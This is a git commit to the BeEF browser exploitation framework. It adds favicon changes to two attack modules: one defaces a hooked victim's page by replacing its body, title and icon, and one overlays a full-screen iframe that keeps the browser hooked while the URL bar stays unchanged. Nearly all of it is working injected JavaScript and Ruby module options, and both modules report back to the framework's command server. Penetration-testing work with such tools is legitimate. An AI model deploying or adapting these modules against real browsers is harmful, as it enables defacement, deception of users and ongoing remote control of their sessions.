Added favicon support to deface_web_page and site_redirect_iframe modules

Fixes issue #491
This commit is contained in:
bcoles
2012-05-15 17:47:05 +09:30
parent b9c9df93e1
commit 594e745694
6 changed files with 15 additions and 2 deletions

View File

@@ -14,7 +14,10 @@
// limitations under the License.
//
beef.execute(function() {
document.body.innerHTML = "<%= @deface_content %>";
document.title = "<%= @deface_title %>";
beef.browser.changeFavicon("<%= @deface_favicon %>");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Deface Successful");
});

View File

@@ -19,7 +19,7 @@ beef:
enable: true
category: ["Browser","Hooked Domain"]
name: "Replace Content (Deface)"
description: "Overwrite the body of the page the hooked browser is on with the 'Deface Content' string."
description: "Overwrite the page, title and shortcut icon on the hooked page."
authors: ["antisnatchor"]
target:
user_notify: ['ALL']

View File

@@ -16,7 +16,11 @@
class Deface_web_page < BeEF::Core::Command
def self.options
configuration = BeEF::Core::Configuration.instance
favicon_uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/ui/media/images/favicon.ico"
return [
{ 'name' => 'deface_title', 'description' => 'Page Title', 'ui_label' => 'New Title', 'value' => 'BeEF - The Browser Exploitation Framework Project', 'width'=>'200px' },
{ 'name' => 'deface_favicon', 'description' => 'Shortcut Icon', 'ui_label' => 'New Favicon', 'value' => favicon_uri, 'width'=>'200px' },
{ 'name' => 'deface_content', 'description' => 'Your defacement content', 'ui_label'=>'Deface Content', 'type' => 'textarea', 'value' =>'BeEF!', 'width' => '400px', 'height' => '100px' }
]
end

View File

@@ -18,6 +18,7 @@ beef.execute(function() {
var result = 'Iframe successfully created!';
var title = '<%= @iframe_title %>';
var iframe_src = '<%= @iframe_src %>';
var iframe_favicon = '<%= @iframe_favicon %>';
var sent = false;
$j("iframe").remove();
@@ -25,6 +26,7 @@ beef.execute(function() {
beef.dom.createIframe('fullscreen', 'get', {'src':iframe_src}, {}, function() { if(!sent) { sent = true; document.title = title; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result); } });
document.body.scroll = "no";
document.documentElement.style.overflow = 'hidden';
beef.browser.changeFavicon(iframe_favicon);
setTimeout(function() {
if(!sent) {

View File

@@ -19,7 +19,7 @@ beef:
enable: true
category: ["Browser","Hooked Domain"]
name: "Redirect Browser (iFrame)"
description: "This module creates a 100% x 100% overlaying iframe and keeps the browers hooked to the framework. The content of the iframe, page title and the time delay are specified in the parameters below.<br><br>The content of the URL bar will not be changed in the hooked browser."
description: "This module creates a 100% x 100% overlaying iframe and keeps the browers hooked to the framework. The content of the iframe, page title, page shortcut icon and the time delay are specified in the parameters below.<br><br>The content of the URL bar will not be changed in the hooked browser."
authors: ["ethicalhack3r", "Yori Kvitchko"]
target:
user_notify: ["ALL"]

View File

@@ -16,8 +16,12 @@
class Site_redirect_iframe < BeEF::Core::Command
def self.options
configuration = BeEF::Core::Configuration.instance
favicon_uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/ui/media/images/favicon.ico"
return [
{ 'name' => 'iframe_title', 'description' => 'Title of the iFrame', 'ui_label' => 'New Title', 'value' => 'BeEF - The Browser Exploitation Framework Project', 'width'=>'200px' },
{ 'name' => 'iframe_favicon', 'description' => 'Shortcut Icon', 'ui_label' => 'New Favicon', 'value' => favicon_uri, 'width'=>'200px' },
{ 'name' => 'iframe_src', 'description' => 'Source of the iFrame', 'ui_label' => 'Redirect URL', 'value' => 'http://beefproject.com/', 'width'=>'200px' },
{ 'name' => 'iframe_timeout', 'description' => 'iFrame timeout', 'ui_label' => 'Timeout', 'value' => '3500', 'width'=>'150px' }
]